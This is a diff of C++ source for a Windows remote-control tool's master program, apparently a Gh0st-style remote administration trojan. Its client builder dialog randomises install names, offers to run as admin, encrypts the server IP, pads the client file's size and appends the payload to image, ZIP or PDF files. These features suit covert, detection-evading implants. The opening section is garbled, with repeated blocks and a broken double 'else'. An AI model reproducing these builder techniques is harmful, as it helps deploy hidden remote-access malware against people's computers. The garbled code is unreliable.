if (IsDateGreaterOrEqual(date, "Dec 22 2025")) {
Buffer* buf = frpc->Data;
BYTE cmd[1 + sizeof(DllExecuteInfoNew)] = {0};
memcpy(cmd, buf->Buf(), 1 + sizeof(DllExecuteInfoNew));
DllExecuteInfoNew* p = (DllExecuteInfoNew*)(cmd + 1);
SetParameters(p, (char*)&param, sizeof(param));
ctx->Send2Client(cmd, 1 + sizeof(DllExecuteInfoNew));
sent = TRUE;
}
else {
PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg("版本不支持"),
(LPARAM)new CharMsg("客户端版本最低要求: " + CString("Dec 22 2025")));
ctx->Send2Client(cmd, 1 + sizeof(DllExecuteInfoNew));
sent = TRUE;
} else {
PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg("版本不支持"),
(LPARAM)new CharMsg("客户端版本最低要求: " + CString("Dec 22 2025")));
}
break;
}
LeaveCriticalSection(&m_cs);
SAFE_DELETE(frpc);
}
LeaveCriticalSection(&m_cs);
SAFE_DELETE(frpc);
if (sent)
MessageBoxA(CString("请通过") + ip.c_str() + ":" + std::to_string(localPort).c_str() + "访问代理端口!",
"提示", MB_ICONINFORMATION);
MessageBoxA(CString("请通过") + ip.c_str() + ":" + std::to_string(localPort).c_str() + "访问代理端口!",
"提示", MB_ICONINFORMATION);
}
void CMy2015RemoteDlg::OnHookWin()
{
m_bHookWIN = !m_bHookWIN;
MessageBoxA(CString("远程控制时,") + (m_bHookWIN ? "" : "") + CString("转发系统热键到远程桌面。"),
"提示", MB_ICONINFORMATION);
THIS_CFG.SetInt("settings", "HookWIN", m_bHookWIN);
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
SubMenu->CheckMenuItem(ID_HOOK_WIN, m_bHookWIN ? MF_CHECKED : MF_UNCHECKED);
m_bHookWIN = !m_bHookWIN;
MessageBoxA(CString("远程控制时,") + (m_bHookWIN ? "" : "") + CString("转发系统热键到远程桌面。"),
"提示", MB_ICONINFORMATION);
THIS_CFG.SetInt("settings", "HookWIN", m_bHookWIN);
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
SubMenu->CheckMenuItem(ID_HOOK_WIN, m_bHookWIN ? MF_CHECKED : MF_UNCHECKED);
}
void CMy2015RemoteDlg::OnRunasService()
{
m_runNormal = !m_runNormal;
MessageBoxA(m_runNormal ? CString("以传统方式启动主控程序,没有守护进程。") :
CString("以“服务+代理”形式启动主控程序,会开机自启及被守护。"),
"提示", MB_ICONINFORMATION);
THIS_CFG.SetInt("settings", "RunNormal", m_runNormal);
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, !m_runNormal ? MF_CHECKED : MF_UNCHECKED);
MessageBoxA(m_runNormal ? CString("以传统方式启动主控程序,没有守护进程。") :
CString("以“服务+代理”形式启动主控程序,会开机自启及被守护。"),
"提示", MB_ICONINFORMATION);
THIS_CFG.SetInt("settings", "RunNormal", m_runNormal);
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, !m_runNormal ? MF_CHECKED : MF_UNCHECKED);
BOOL r = m_runNormal ? ServerService_Uninstall() : ServerService_Install();
}

View File

@@ -29,18 +29,20 @@ typedef struct DllInfo {
typedef struct FileTransformCmd {
CLock Lock;
std::map<std::string, uint64_t> CmdTime;
void PutCmd(const std::string& str) {
Lock.Lock();
CmdTime[str] = time(0);
Lock.Unlock();
}
bool PopCmd(const std::string& str, int timeoutSec = 10) {
Lock.Lock();
bool valid = CmdTime.find(str) != CmdTime.end() && time(0) - CmdTime[str] < timeoutSec;
CmdTime.erase(str);
Lock.Unlock();
return valid;
}
void PutCmd(const std::string& str)
{
Lock.Lock();
CmdTime[str] = time(0);
Lock.Unlock();
}
bool PopCmd(const std::string& str, int timeoutSec = 10)
{
Lock.Lock();
bool valid = CmdTime.find(str) != CmdTime.end() && time(0) - CmdTime[str] < timeoutSec;
CmdTime.erase(str);
Lock.Unlock();
return valid;
}
} FileTransformCmd;
#define ID_DYNAMIC_MENU_BASE 36500

View File

@@ -73,16 +73,20 @@ public:
{
return md5;
}
BYTE GetBYTE(int idx=0) const {
BYTE GetBYTE(int idx=0) const
{
return idx >= len ? 0 : buf[idx];
}
LPBYTE GetBuffer(int idx=0) const {
LPBYTE GetBuffer(int idx=0) const
{
return idx >= len ? 0 : buf + idx;
}
int GetBufferLength() const {
int GetBufferLength() const
{
return len;
}
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos=0) {
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos=0)
{
if (len - ulPos < nLen) {
return FALSE;
}

View File

@@ -9,6 +9,7 @@
#include "InputDlg.h"
#include <bcrypt.h>
#include <wincrypt.h>
#include "Resource.h"
// #include <ntstatus.h>
enum Index {
@@ -71,6 +72,30 @@ LPBYTE ReadResource(int resourceId, DWORD &dwSize)
}
CString GenerateRandomName(int nLength)
{
if (nLength <= 0) nLength = 8;
static const TCHAR szChars[] = _T("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");
static const int nCharsCount = _countof(szChars) - 1;
static bool bSeeded = false;
if (!bSeeded) {
srand((unsigned)time(NULL));
bSeeded = true;
}
CString strName;
LPTSTR pBuf = strName.GetBuffer(nLength);
for (int i = 0; i < nLength; i++) {
pBuf[i] = szChars[rand() % nCharsCount];
}
strName.ReleaseBuffer(nLength);
return strName;
}
CBuildDlg::CBuildDlg(CWnd* pParent)
: CDialog(CBuildDlg::IDD, pParent)
, m_strIP(_T(""))
@@ -78,6 +103,8 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
, m_strFindden(FLAG_FINDEN)
, m_sGroupName(_T("default"))
, m_strEncryptIP(_T(""))
, m_sInstallDir(_T(""))
, m_sInstallName(_T(""))
{
}
@@ -104,6 +131,12 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
DDX_Control(pDX, IDC_COMBO_PAYLOAD, m_ComboPayload);
DDX_Control(pDX, IDC_STATIC_PAYLOAD, m_StaticPayload);
DDX_Control(pDX, IDC_SLIDER_CLIENT_SIZE, m_SliderClientSize);
DDX_Control(pDX, IDC_EDIT_INSTALL_DIR, m_EditInstallDir);
DDX_Control(pDX, IDC_EDIT_INSTALL_NAME, m_EditInstallName);
DDX_Text(pDX, IDC_EDIT_INSTALL_DIR, m_sInstallDir);
DDV_MaxChars(pDX, m_sInstallDir, 31);
DDX_Text(pDX, IDC_EDIT_INSTALL_NAME, m_sInstallName);
DDV_MaxChars(pDX, m_sInstallName, 31);
}
@@ -115,7 +148,12 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
ON_COMMAND(ID_MENU_ENCRYPT_IP, &CBuildDlg::OnMenuEncryptIp)
ON_COMMAND(ID_CLIENT_RUNAS_ADMIN, &CBuildDlg::OnClientRunasAdmin)
ON_CBN_SELCHANGE(IDC_COMBO_COMPRESS, &CBuildDlg::OnCbnSelchangeComboCompress)
ON_NOTIFY_EX(TTN_NEEDTEXT, 0, &CBuildDlg::OnToolTipNotify)
ON_NOTIFY_EX(TTN_NEEDTEXT, 0, &CBuildDlg::OnToolTipNotify)
ON_EN_CHANGE(IDC_EDIT_INSTALL_DIR, &CBuildDlg::OnEnChangeEditInstallDir)
ON_EN_CHANGE(IDC_EDIT_INSTALL_NAME, &CBuildDlg::OnEnChangeEditInstallName)
ON_EN_KILLFOCUS(IDC_EDIT_INSTALL_DIR, &CBuildDlg::OnEnKillfocusEditInstallDir)
ON_EN_KILLFOCUS(IDC_EDIT_INSTALL_NAME, &CBuildDlg::OnEnKillfocusEditInstallName)
ON_COMMAND(ID_RANDOM_NAME, &CBuildDlg::OnRandomName)
END_MESSAGE_MAP()
@@ -182,17 +220,53 @@ void generate_random_iv(unsigned char* iv, size_t len)
ULONGLONG GetFileSize(const char* path)
{
std::ifstream file(path, std::ios::binary | std::ios::ate);
std::ifstream file(path, std::ios::binary | std::ios::ate);
if (!file) {
Mprintf("Failed to open file: %s.\n", path);
return 0;
}
if (!file) {
Mprintf("Failed to open file: %s.\n", path);
return 0;
}
ULONGLONG size = file.tellg();
file.close();
ULONGLONG size = file.tellg();
file.close();
return size;
return size;
}
bool IsValidFileName(const CString& strName)
{
if (strName.IsEmpty()) return false;
// 检查非法字符
LPCTSTR szInvalidChars = _T("\\/:*?\"<>|");
if (strName.FindOneOf(szInvalidChars) != -1)
return false;
// 检查保留名称 (CON, PRN, AUX, NUL, COM1-9, LPT1-9)
CString strUpper = strName;
strUpper.MakeUpper();
int nDot = strUpper.Find(_T('.'));
CString strBase = (nDot != -1) ? strUpper.Left(nDot) : strUpper;
LPCTSTR szReserved[] = {
_T("CON"), _T("PRN"), _T("AUX"), _T("NUL"),
_T("COM1"), _T("COM2"), _T("COM3"), _T("COM4"), _T("COM5"),
_T("COM6"), _T("COM7"), _T("COM8"), _T("COM9"),
_T("LPT1"), _T("LPT2"), _T("LPT3"), _T("LPT4"), _T("LPT5"),
_T("LPT6"), _T("LPT7"), _T("LPT8"), _T("LPT9"), NULL
};
for (int i = 0; szReserved[i]; i++) {
if (strBase == szReserved[i])
return false;
}
// 不能以空格或点结尾
TCHAR chLast = strName[strName.GetLength() - 1];
if (chLast == _T(' ') || chLast == _T('.'))
return false;
return true;
}
void CBuildDlg::OnBnClickedOk()
@@ -282,6 +356,8 @@ void CBuildDlg::OnBnClickedOk()
g_ConnectAddress.iHeaderEnc = m_ComboEncrypt.GetCurSel();
memcpy(g_ConnectAddress.pwdHash, GetPwdHash().c_str(), sizeof(g_ConnectAddress.pwdHash));
memcpy(g_ConnectAddress.szGroupName, m_sGroupName, m_sGroupName.GetLength());
memcpy(g_ConnectAddress.installDir, m_sInstallDir, m_sInstallDir.GetLength());
memcpy(g_ConnectAddress.installName, m_sInstallName, m_sInstallName.GetLength());
if (!g_ConnectAddress.IsValid()) {
SAFE_DELETE_ARRAY(szBuffer);
@@ -374,24 +450,24 @@ void CBuildDlg::OnBnClickedOk()
PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe"));
strSeverFile.ReleaseBuffer();
if (strSeverFile != old) DeleteFileA(old);
int n = m_ComboPayload.GetCurSel();
CString payload = strSeverFile;
if (n) {
static std::map<int, std::string> m = {
{ Payload_Raw, "*.bin|*.bin|"}, { Payload_BMP, "*.bmp|*.bmp|"},
{ Payload_JPG, "*.jpg|*.jpg|"}, { Payload_PNG, "*.png|*.png|"},
{ Payload_ZIP, "*.zip|*.zip|"}, { Payload_PDF, "*.pdf|*.pdf|"},
};
payload = GetFilePath(NULL, m[n].c_str(), n != Payload_Raw);
sc->offset = n == Payload_Raw ? 0 : GetFileSize(payload);
int n = m_ComboPayload.GetCurSel();
CString payload = strSeverFile;
if (n) {
static std::map<int, std::string> m = {
{ Payload_Raw, "*.bin|*.bin|"}, { Payload_BMP, "*.bmp|*.bmp|"},
{ Payload_JPG, "*.jpg|*.jpg|"}, { Payload_PNG, "*.png|*.png|"},
{ Payload_ZIP, "*.zip|*.zip|"}, { Payload_PDF, "*.pdf|*.pdf|"},
};
payload = GetFilePath(NULL, m[n].c_str(), n != Payload_Raw);
sc->offset = n == Payload_Raw ? 0 : GetFileSize(payload);
strcpy(sc->file, PathFindFileNameA(payload));
tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
}
tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
}
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
if (r) {
r = WriteBinaryToFile(payload.GetString(), (char*)srcData, srcLen, n == Payload_Raw ? 0 : -1);
if (!r) tip = "\r\n警告: 生成载荷失败!";
}else{
if (r) {
r = WriteBinaryToFile(payload.GetString(), (char*)srcData, srcLen, n == Payload_Raw ? 0 : -1);
if (!r) tip = "\r\n警告: 生成载荷失败!";
} else {
MessageBox("文件生成失败: \r\n" + strSeverFile, "提示", MB_ICONINFORMATION);
}
SAFE_DELETE_ARRAY(srcData);
@@ -407,7 +483,7 @@ void CBuildDlg::OnBnClickedOk()
}
int size = m_SliderClientSize.GetPos() * 2.56 * 1024 * 1024;
if (size > 0) {
std::vector<char> padding(size, time(0)%256);
std::vector<char> padding(size, time(0)%256);
WriteBinaryToFile(strSeverFile.GetString(), padding.data(), size, -1);
}
MessageBox("生成成功! 文件位于:\r\n" + strSeverFile + tip, "提示", MB_ICONINFORMATION);
@@ -497,27 +573,34 @@ BOOL CBuildDlg::OnInitDialog()
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); // 为窗口设置菜单
::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单
BOOL b = THIS_CFG.GetInt("settings", "RandomName", 0);
if (b) {
m_EditInstallDir.SetWindowTextA(m_sInstallDir = GenerateRandomName(5 + time(0) % 10));
m_EditInstallName.SetWindowTextA(m_sInstallName = GenerateRandomName(5 + time(0) % 10));
}
SubMenu->CheckMenuItem(ID_RANDOM_NAME, b ? MF_CHECKED : MF_UNCHECKED);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen) {
CComPtr<IShellFolder> spDesktop;
HRESULT hr = SHGetDesktopFolder(&spDesktop);
if (FAILED(hr)) {
MessageBox("Explorer 未正确初始化! 请稍后再试。", "提示");
return "";
}
// 过滤器:显示所有文件和特定类型文件(例如文本文件)
CFileDialog fileDlg(isOpen, type, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, filter, AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
}
catch (...) {
MessageBox("文件对话框未成功打开! 请稍后再试。", "提示");
return "";
}
CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen)
{
CComPtr<IShellFolder> spDesktop;
HRESULT hr = SHGetDesktopFolder(&spDesktop);
if (FAILED(hr)) {
MessageBox("Explorer 未正确初始化! 请稍后再试。", "提示");
return "";
}
// 过滤器:显示所有文件和特定类型文件(例如文本文件)
CFileDialog fileDlg(isOpen, type, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, filter, AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
} catch (...) {
MessageBox("文件对话框未成功打开! 请稍后再试。", "提示");
return "";
}
if (ret == IDOK) {
CString name = fileDlg.GetPathName();
return name;
@@ -592,21 +675,135 @@ void CBuildDlg::OnClientRunasAdmin()
void CBuildDlg::OnCbnSelchangeComboCompress()
{
m_ComboPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
}
BOOL CBuildDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult)
{
TOOLTIPTEXTA* pTTT = (TOOLTIPTEXTA*)pNMHDR;
UINT nID = pNMHDR->idFrom;
if (pTTT->uFlags & TTF_IDISHWND) {
if (pTTT->uFlags & TTF_IDISHWND) {
// idFrom is actually the HWND of the tool
nID = ::GetDlgCtrlID((HWND)nID);
}
if (nID == IDC_SLIDER_CLIENT_SIZE) {
int size = m_SliderClientSize.GetPos() * 2.56;
int size = m_SliderClientSize.GetPos() * 2.56;
sprintf_s(pTTT->szText, "%dM", size);
return TRUE;
}
}
return FALSE;
}
void CBuildDlg::OnEnChangeEditInstallDir()
{
static bool bProcessing = false;
if (bProcessing) return;
bProcessing = true;
CString strText;
GetDlgItemText(IDC_EDIT_INSTALL_DIR, strText);
// Windows 文件名非法字符: \ / : * ? " < > |
LPCTSTR szInvalidChars = _T("\\/:*?\"<>|"); // 纯文件名
bool bModified = false;
for (int i = strText.GetLength() - 1; i >= 0; i--) {
if (_tcschr(szInvalidChars, strText[i]) != NULL) {
strText.Delete(i);
bModified = true;
}
}
if (bModified) {
CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR);
int nSel = pEdit->GetSel() & 0xFFFF; // 获取光标位置
SetDlgItemText(IDC_EDIT_INSTALL_DIR, strText);
pEdit->SetSel(nSel - 1, nSel - 1); // 恢复光标
}
bProcessing = false;
}
void CBuildDlg::OnEnChangeEditInstallName()
{
static bool bProcessing = false;
if (bProcessing) return;
bProcessing = true;
CString strText;
GetDlgItemText(IDC_EDIT_INSTALL_NAME, strText);
// Windows 文件名非法字符: \ / : * ? " < > |
LPCTSTR szInvalidChars = _T("\\/:*?\"<>|"); // 纯文件名
bool bModified = false;
for (int i = strText.GetLength() - 1; i >= 0; i--) {
if (_tcschr(szInvalidChars, strText[i]) != NULL) {
strText.Delete(i);
bModified = true;
}
}
if (bModified) {
CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME);
int nSel = pEdit->GetSel() & 0xFFFF; // 获取光标位置
SetDlgItemText(IDC_EDIT_INSTALL_NAME, strText);
pEdit->SetSel(nSel - 1, nSel - 1); // 恢复光标
}
bProcessing = false;
}
void CBuildDlg::OnEnKillfocusEditInstallDir()
{
CString strText;
GetDlgItemText(IDC_EDIT_INSTALL_DIR, strText);
if (strText.IsEmpty()) return;
if (!IsValidFileName(strText)) {
MessageBoxA(_T("文件名不合法,请检查:\n")
_T("1. 不能包含 \\ / : * ? \" < > |\n")
_T("2. 不能是系统保留名称 (CON, PRN 等)\n")
_T("3. 不能以空格或点结尾"), "提示", MB_ICONWARNING);
GetDlgItem(IDC_EDIT_INSTALL_DIR)->SetFocus();
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR))->SetWindowTextA("");
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR))->SetSel(0, -1);
}
}
void CBuildDlg::OnEnKillfocusEditInstallName()
{
CString strText;
GetDlgItemText(IDC_EDIT_INSTALL_NAME, strText);
if (strText.IsEmpty()) return;
if (!IsValidFileName(strText)) {
MessageBoxA(_T("文件名不合法,请检查:\n")
_T("1. 不能包含 \\ / : * ? \" < > |\n")
_T("2. 不能是系统保留名称 (CON, PRN 等)\n")
_T("3. 不能以空格或点结尾"), "提示", MB_ICONWARNING);
GetDlgItem(IDC_EDIT_INSTALL_NAME)->SetFocus();
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME))->SetWindowTextA("");
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME))->SetSel(0, -1);
}
}
void CBuildDlg::OnRandomName()
{
BOOL b = !THIS_CFG.GetInt("settings", "RandomName", 0);
m_EditInstallDir.SetWindowTextA(m_sInstallDir = b ? GenerateRandomName(5 + time(0) % 10) : "");
m_EditInstallName.SetWindowTextA(m_sInstallName = b ? GenerateRandomName(5 + time(0) % 10) : "");
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
SubMenu->CheckMenuItem(ID_RANDOM_NAME, b ? MF_CHECKED : MF_UNCHECKED);
THIS_CFG.SetInt("settings", "RandomName", b);
}

View File

@@ -24,7 +24,7 @@ public:
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
CString GetFilePath(CString type, CString filter, BOOL isOpen = TRUE);
BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
DECLARE_MESSAGE_MAP()
public:
@@ -53,4 +53,13 @@ public:
afx_msg void OnCbnSelchangeComboCompress();
CStatic m_StaticPayload;
CSliderCtrl m_SliderClientSize;
CEdit m_EditInstallDir;
CEdit m_EditInstallName;
CString m_sInstallDir;
CString m_sInstallName;
afx_msg void OnEnChangeEditInstallDir();
afx_msg void OnEnChangeEditInstallName();
afx_msg void OnEnKillfocusEditInstallDir();
afx_msg void OnEnKillfocusEditInstallName();
afx_msg void OnRandomName();
};

View File

@@ -10,7 +10,7 @@
IMPLEMENT_DYNAMIC(CDlgFileSend, CDialog)
CDlgFileSend::CDlgFileSend(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject, BOOL sendFile)
: DialogBase(CDlgFileSend::IDD, pParent, IOCPServer, ContextObject, IDI_File), m_bIsSending(sendFile)
: DialogBase(CDlgFileSend::IDD, pParent, IOCPServer, ContextObject, IDI_File), m_bIsSending(sendFile)
{
}
@@ -20,15 +20,15 @@ CDlgFileSend::~CDlgFileSend()
void CDlgFileSend::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_PROGRESS_FILESEND, m_Progress);
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_PROGRESS_FILESEND, m_Progress);
}
BEGIN_MESSAGE_MAP(CDlgFileSend, CDialog)
ON_WM_CLOSE()
ON_MESSAGE(WM_UPDATEFILEPROGRESS, &CDlgFileSend::OnUpdateFileProgress)
ON_MESSAGE(WM_FINISHFILESEND, &CDlgFileSend::OnFinishFileSend)
ON_WM_CLOSE()
ON_MESSAGE(WM_UPDATEFILEPROGRESS, &CDlgFileSend::OnUpdateFileProgress)
ON_MESSAGE(WM_FINISHFILESEND, &CDlgFileSend::OnFinishFileSend)
END_MESSAGE_MAP()
@@ -38,87 +38,91 @@ std::string GetHMAC(int offset);
void RecvData(void* ptr)
{
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
}
void CDlgFileSend::OnReceiveComplete(void) {
LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer();
unsigned len = m_ContextObject->InDeCompressedBuffer.GetBufferLen();
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
CONNECT_ADDRESS addr = { 0 };
memcpy(addr.pwdHash, hash.c_str(), min(hash.length(), sizeof(addr.pwdHash)));
int n = RecvFileChunk((char*)szBuffer, len, &addr, RecvData, hash, hmac);
if (n) {
Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, hash.c_str(), hmac.c_str());
}
BYTE* name = szBuffer + sizeof(FileChunkPacket);
FileChunkPacket* chunk = (FileChunkPacket*)szBuffer;
UpdateProgress(CString((char*)name, chunk->nameLength), chunk);
void CDlgFileSend::OnReceiveComplete(void)
{
LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer();
unsigned len = m_ContextObject->InDeCompressedBuffer.GetBufferLen();
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
CONNECT_ADDRESS addr = { 0 };
memcpy(addr.pwdHash, hash.c_str(), min(hash.length(), sizeof(addr.pwdHash)));
int n = RecvFileChunk((char*)szBuffer, len, &addr, RecvData, hash, hmac);
if (n) {
Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, hash.c_str(), hmac.c_str());
}
BYTE* name = szBuffer + sizeof(FileChunkPacket);
FileChunkPacket* chunk = (FileChunkPacket*)szBuffer;
UpdateProgress(CString((char*)name, chunk->nameLength), chunk);
}
void CDlgFileSend::UpdateProgress(CString file, const FileChunkPacket *chunk) {
PostMessageA(WM_UPDATEFILEPROGRESS, (WPARAM)new CString(file), (LPARAM)new FileChunkPacket(*chunk));
void CDlgFileSend::UpdateProgress(CString file, const FileChunkPacket *chunk)
{
PostMessageA(WM_UPDATEFILEPROGRESS, (WPARAM)new CString(file), (LPARAM)new FileChunkPacket(*chunk));
}
void CDlgFileSend::FinishFileSend(BOOL succeed) {
PostMessageA(WM_FINISHFILESEND, NULL, (LPARAM)succeed);
void CDlgFileSend::FinishFileSend(BOOL succeed)
{
PostMessageA(WM_FINISHFILESEND, NULL, (LPARAM)succeed);
}
LRESULT CDlgFileSend::OnUpdateFileProgress(WPARAM wParam, LPARAM lParam) {
CString* pFile = (CString*)wParam;
FileChunkPacket* pChunk = (FileChunkPacket*)lParam;
LRESULT CDlgFileSend::OnUpdateFileProgress(WPARAM wParam, LPARAM lParam)
{
CString* pFile = (CString*)wParam;
FileChunkPacket* pChunk = (FileChunkPacket*)lParam;
CString status;
double percent = pChunk->fileSize > 0 ? double(pChunk->offset) / pChunk->fileSize * 100.0 : 100.0;
m_bIsSending ?
status.Format("发送文件(%d/%d): %.2f%%", 1 + pChunk->fileIndex, pChunk->totalNum, percent):
status.Format("接收文件(%d/%d): %.2f%%", 1 + pChunk->fileIndex, pChunk->totalNum, percent);
SetDlgItemTextA(IDC_STATIC_CURRENTINDEX, status);
SetDlgItemTextA(IDC_STATIC_CURRENT_FILE, *pFile);
m_Progress.SetPos(percent);
ShowWindow(SW_SHOW);
CString status;
double percent = pChunk->fileSize > 0 ? double(pChunk->offset) / pChunk->fileSize * 100.0 : 100.0;
m_bIsSending ?
status.Format("发送文件(%d/%d): %.2f%%", 1 + pChunk->fileIndex, pChunk->totalNum, percent):
status.Format("接收文件(%d/%d): %.2f%%", 1 + pChunk->fileIndex, pChunk->totalNum, percent);
SetDlgItemTextA(IDC_STATIC_CURRENTINDEX, status);
SetDlgItemTextA(IDC_STATIC_CURRENT_FILE, *pFile);
m_Progress.SetPos(percent);
ShowWindow(SW_SHOW);
delete pChunk;
delete pFile;
return 0;
delete pChunk;
delete pFile;
return 0;
}
LRESULT CDlgFileSend::OnFinishFileSend(WPARAM wParam, LPARAM lParam) {
BOOL success = (BOOL)lParam;
m_bIsSending ?
SetDlgItemTextA(IDC_STATIC_CURRENTINDEX, success ? "文件发送完成" : "文件发送失败"):
SetDlgItemTextA(IDC_STATIC_CURRENTINDEX, success ? "文件接收完成" : "文件接收失败");
if (success)
m_Progress.SetPos(100);
ShowWindow(SW_SHOW);
LRESULT CDlgFileSend::OnFinishFileSend(WPARAM wParam, LPARAM lParam)
{
BOOL success = (BOOL)lParam;
m_bIsSending ?
SetDlgItemTextA(IDC_STATIC_CURRENTINDEX, success ? "文件发送完成" : "文件发送失败"):
SetDlgItemTextA(IDC_STATIC_CURRENTINDEX, success ? "文件接收完成" : "文件接收失败");
if (success)
m_Progress.SetPos(100);
ShowWindow(SW_SHOW);
return 0;
return 0;
}
BOOL CDlgFileSend::OnInitDialog()
{
DialogBase::OnInitDialog();
DialogBase::OnInitDialog();
SetIcon(m_hIcon, FALSE);
SetIcon(m_hIcon, FALSE);
SetWindowTextA(m_bIsSending ? "发送文件" : "接收文件");
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != nullptr)
{
pSysMenu->EnableMenuItem(SC_CLOSE, MF_BYCOMMAND | MF_GRAYED);
}
SetWindowTextA(m_bIsSending ? "发送文件" : "接收文件");
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != nullptr) {
pSysMenu->EnableMenuItem(SC_CLOSE, MF_BYCOMMAND | MF_GRAYED);
}
return TRUE;
return TRUE;
}
void CDlgFileSend::OnClose()
{
CancelIO();
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
CancelIO();
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
DialogBase::OnClose();
DialogBase::OnClose();
}

View File

@@ -12,29 +12,29 @@
class CDlgFileSend : public DialogBase
{
DECLARE_DYNAMIC(CDlgFileSend)
DECLARE_DYNAMIC(CDlgFileSend)
public:
CDlgFileSend(CWnd* pParent = NULL, Server* IOCPServer = NULL,
CONTEXT_OBJECT* ContextObject = NULL, BOOL sendFile = TRUE);
virtual ~CDlgFileSend();
void OnReceiveComplete(void);
void UpdateProgress(CString file, const FileChunkPacket *chunk);
void FinishFileSend(BOOL succeed);
CDlgFileSend(CWnd* pParent = NULL, Server* IOCPServer = NULL,
CONTEXT_OBJECT* ContextObject = NULL, BOOL sendFile = TRUE);
virtual ~CDlgFileSend();
void OnReceiveComplete(void);
void UpdateProgress(CString file, const FileChunkPacket *chunk);
void FinishFileSend(BOOL succeed);
BOOL m_bIsSending;
enum { IDD = IDD_DIALOG_FILESEND };
BOOL m_bIsSending;
enum { IDD = IDD_DIALOG_FILESEND };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
DECLARE_MESSAGE_MAP()
afx_msg LRESULT OnUpdateFileProgress(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnFinishFileSend(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnUpdateFileProgress(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnFinishFileSend(WPARAM wParam, LPARAM lParam);
public:
CProgressCtrl m_Progress;
virtual BOOL OnInitDialog();
afx_msg void OnClose();
CProgressCtrl m_Progress;
virtual BOOL OnInitDialog();
afx_msg void OnClose();
};

View File

@@ -43,8 +43,9 @@ std::string GetHMAC(int offset)
return hmac;
}
void SetHMAC(const std::string str, int offset) {
Validation* v = (Validation*)(g_MasterID + offset);
void SetHMAC(const std::string str, int offset)
{
Validation* v = (Validation*)(g_MasterID + offset);
std::string hmac(v->Checksum, 16);
if (hmac.c_str()[0] == 0) {
memcpy(v->Checksum, str.c_str(), min(16, str.length()));
@@ -151,12 +152,12 @@ void CPasswordDlg::OnCbnSelchangeComboBind()
std::string hardwareID = CMy2015RemoteDlg::GetHardwareID(m_nBindType);
m_sDeviceID = getFixedLengthID(hashSHA256(hardwareID)).c_str();
m_EditDeviceID.SetWindowTextA(m_sDeviceID);
auto master = THIS_CFG.GetStr("settings", "master", "");
auto master = THIS_CFG.GetStr("settings", "master", "");
if (m_nBindType == 1) {
